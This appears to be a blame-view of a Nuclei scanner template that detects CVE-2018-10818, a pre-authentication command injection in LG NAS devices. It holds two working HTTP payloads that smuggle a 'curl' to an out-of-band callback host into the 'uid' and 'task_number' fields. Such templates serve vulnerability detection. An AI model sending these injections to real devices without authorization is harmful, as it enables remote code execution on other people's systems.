2021-10-30 11:17:35 +00:00
|
|
|
id: CVE-2018-10818
|
2021-07-26 17:27:13 +00:00
|
|
|
|
|
|
|
info:
|
2022-04-29 19:58:07 +00:00
|
|
|
name: LG NAS Devices - Remote Code Execution
|
2021-07-26 17:27:13 +00:00
|
|
|
author: gy741
|
|
|
|
severity: critical
|
2022-04-29 19:58:07 +00:00
|
|
|
description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
|
2023-09-06 12:57:14 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest firmware update provided by LG to mitigate this vulnerability.
|
2021-08-19 13:59:12 +00:00
|
|
|
reference:
|
2021-07-26 17:27:13 +00:00
|
|
|
- https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
|
|
|
|
- https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
|
2022-04-29 19:58:07 +00:00
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
|
2022-04-01 08:51:42 +00:00
|
|
|
classification:
|
|
|
|
cve-id: CVE-2018-10818
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-15 16:29:17 +00:00
|
|
|
tags: cve,cve2018,lg-nas,rce,oast,injection
|
2023-03-29 11:07:38 +00:00
|
|
|
variables:
|
2023-03-29 14:11:27 +00:00
|
|
|
useragent: '{{rand_base(6)}}'
|
2023-03-29 11:07:38 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-26 17:27:13 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /system/sharedir.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2023-03-29 13:54:19 +00:00
|
|
|
&uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
|
2021-07-26 17:27:13 +00:00
|
|
|
- |
|
|
|
|
POST /en/php/usb_sync.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2023-03-29 13:54:19 +00:00
|
|
|
&act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
|
2021-07-26 17:27:13 +00:00
|
|
|
|
2023-03-29 10:21:17 +00:00
|
|
|
stop-at-first-match: true
|
2023-07-15 16:29:17 +00:00
|
|
|
|
2021-07-26 17:27:13 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-07-15 16:29:17 +00:00
|
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
2021-07-26 17:27:13 +00:00
|
|
|
words:
|
|
|
|
- "http"
|
|
|
|
|
2023-03-29 10:21:17 +00:00
|
|
|
- type: word
|
|
|
|
part: interactsh_request
|
|
|
|
words:
|
2023-03-29 13:54:19 +00:00
|
|
|
- "User-Agent: {{useragent}}"
|
2023-10-19 13:13:52 +00:00
|
|
|
# digest: 4a0a00473045022100ccb2d026c1bdc3df10c2c02d7bc19b1059c4e40e9ba5b5dcd07f77a4900f0e1502203ebc6f5387949a63d6f6166a279ef005ec5bec4c4caaf3df125ce8265eb44bc5:922c64590222798bb761d5b6d8e72950
|